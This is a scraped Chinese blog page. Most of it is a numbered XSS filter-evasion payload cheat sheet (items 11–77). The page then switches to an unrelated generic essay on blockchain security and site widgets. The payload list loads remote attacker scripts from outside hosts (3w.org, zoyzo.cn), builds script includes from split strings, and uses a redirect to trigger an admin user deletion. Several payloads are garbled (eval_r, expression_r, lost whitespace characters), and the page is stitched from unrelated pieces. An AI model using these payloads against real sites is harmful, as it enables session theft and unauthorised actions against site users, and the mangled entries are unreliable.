<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>


(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>


(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>


(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>


(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>


(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>


(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.zoyzo’</script>
<script>z=z+’.cn/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>


(17)空字符
perl -e ‘print “<IMG SRC=javascript:alert(”XSS”)>”;’ > out


(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCRIPT>alert(”XSS”)</SCRIPT>”;’ > out


(19)Spaces和meta前的IMG标签
<IMG SRC=” javascript:alert(‘XSS’);”>


(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>


(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert(“XSS”)>


(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>


(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>


(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>


(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>


(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”


(27)双开角括号
<iframe src=http://3w.org/XSS.html>


(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>


(29)换码过滤的JavaScript
[code]”;alert(‘XSS’);//


(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>


(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>


(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>


(33)BODY标签
<BODY(‘XSS’)>


(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>


(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>


(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>


(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>


(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>


(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS


(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS




(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>


(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>


(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>


(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>


(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>


(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>


(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>


(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>


(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>


(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>


(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>


(52)IMG STYLE方式
exppression(alert(“XSS”))’>


(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>


(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>


(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>


(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(”";
c=”javascript:”;
d=”alert(‘XSS’);”)”;
eval_r(a+b+c+d);


(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>


(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>


(59)IMG嵌入式命令,可执行任意命令
<IMG SRC=”http://www.zoyzo.cn/a.php?a=b”>


(60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.zoyzo.cn/admin.asp&deleteuser


(61)绕符号过滤
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>


(62)
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>


(63)
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>


(64)
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>


(65)
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>


(66)
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>


(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>


(68)URL绕行
<A HREF=”http://127.0.0.1/”>XSS</A>


(69)URL编码
<A HREF=”http://3w.org”>XSS</A>


(70)IP十进制
<A HREF=”http://3232235521″>XSS</A>


(71)IP十六进制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>


(72)IP八进制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>


(73)混合编码
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>


(74)节省[http:]
<A HREF=”//www.exehack.net/”>XSS</A>


(75)节省[www]
<A HREF=”https://www.exehack.net/”>XSS</A>


(76)绝对点绝对DNS
<A HREF=”https://www.exehack.net./”>XSS</A>


(77)javascript链接
<A HREF=”javascript:document.location=’https://www.exehack.net/’”>XSS</A>
========
  • 2
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
(本篇文章中,本人将会详细讨论区块链的安全性问题。首先,简要介绍区块链技术及其应用,接着分别从技术安全、网络安全、隐私安全三个方面,探讨区块链技术面临的安全挑战以及相应的解决方案。最后,总结全文并提出未来研究方向) 一、引言 区块链是一种去中心化、分布式的账本技术,其最初的应用是比特币,用于记录交易信息。随着区块链技术的不断发展,越来越多的应用场景被发掘出来,如数字资产交易、供应链金融、电子票据等。然而,与其它技术一样,区块链也存在安全性问题,这些问题的解决将直接影响到区块链技术的发展和应用。本文将从技术安全、网络安全、隐私安全三个方面,探讨区块链技术面临的安全挑战以及相应的解决方案。 二、技术安全 技术安全是指区块链技术本身的安全性。区块链技术的安全性主要包括以下方面: 1、共识算法 共识算法是区块链技术的核心,其作用是确保每个节点都对区块链中的信息达成一致。在共识过程中,可能会出现拜占庭将军问题,导致恶意节点的攻击。为此,区块链技术采用了多种共识算法,如工作量证明、权益证明、拜占庭容错等,以保证共识的正确性和安全性。 2、智能合约 智能合约是区块链技术的又一重要组成部分,其作用是通过编写程序代码,实现自动化的合约执行和资产转移。然而,智能合约也存在被攻击的风险,如DOS攻击、重入攻击等。为此,区块链技术需要加强智能合约的安全性设计,采用代码审计、漏洞修复等方式,提高智能合约的安全性。 3、密钥管理 密钥管理是区块链技术中的重要组成部分,其作用是确保账户的安全性。然而,密钥管理也存在一些问题,如密码弱、密码泄露等。为此,区块链技术需要加强密钥管理的安全性设计,采用多重签名、硬件钱包等方式,提高密钥管理的安全性。 三、网络安全 网络安全是指区块链技术在网络传输过程中的安全性。网络安全主要包括以下方面: 1、节点攻击 节点攻击是指攻击者通过攻击节点,篡改区块链中的信息。为此,区块链技术需要加强节点的安全性设计,采用节点隔离、节点备份等方式,提高节点的安全性。 2、DDoS攻击 DDoS攻击是指攻击者通过攻击网络,使得网络无法正常运行。为此,区块链技术需要加强DDoS攻击的防范,采用网络隔离、网络流量控制等方式,提高网络的安全性。 3、防火墙 防火墙是指在网络传输过程中,通过过滤和监控网络流量,保证网络的安全性。为此,区块链技术需要加强防火墙的安全性设计,采用规则管理、流量控制等方式,提高防火墙的安全性。 四、隐私安全 隐私安全是指区块链技术中的隐私信息的安全性。隐私安全主要包括以下方面: 1、匿名性 匿名性是区块链技术的一大特点,其作用是保护用户的隐私信息。然而,匿名性也存在一些问题,如双重支付、洗钱等。为此,区块链技术需要加强匿名性的安全性设计,采用交易追踪、节点监控等方式,提高匿名性的安全性。 2、数据隐私 数据隐私是指区块链技术中的数据信息的安全性。为此,区块链技术需要加强数据隐私的安全性设计,采用加密算法、数据脱敏等方式,提高数据隐私的安全性。 3、合规性 合规性是指区块链技术的合法性和合规性。为此,区块链技术需要加强合规性的安全性设计,遵守相关法律法规,提高合规性的安全性。 五、总结与展望 总之,区块链技术的安全性问题是影响其发展和应用的重要因素。本文从技术安全、网络安全、隐私安全三个方面,探讨了区块链技术面临的安全挑战以及相应的解决方案。未来,随着区块链技术的不断发展和应用,其安全性问题也将不断涌现。因此,我们需要加强对区块链技术的安全性研究,提出更加全面和有效的解决方案,以保证区块链技术的可持续发展和应用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值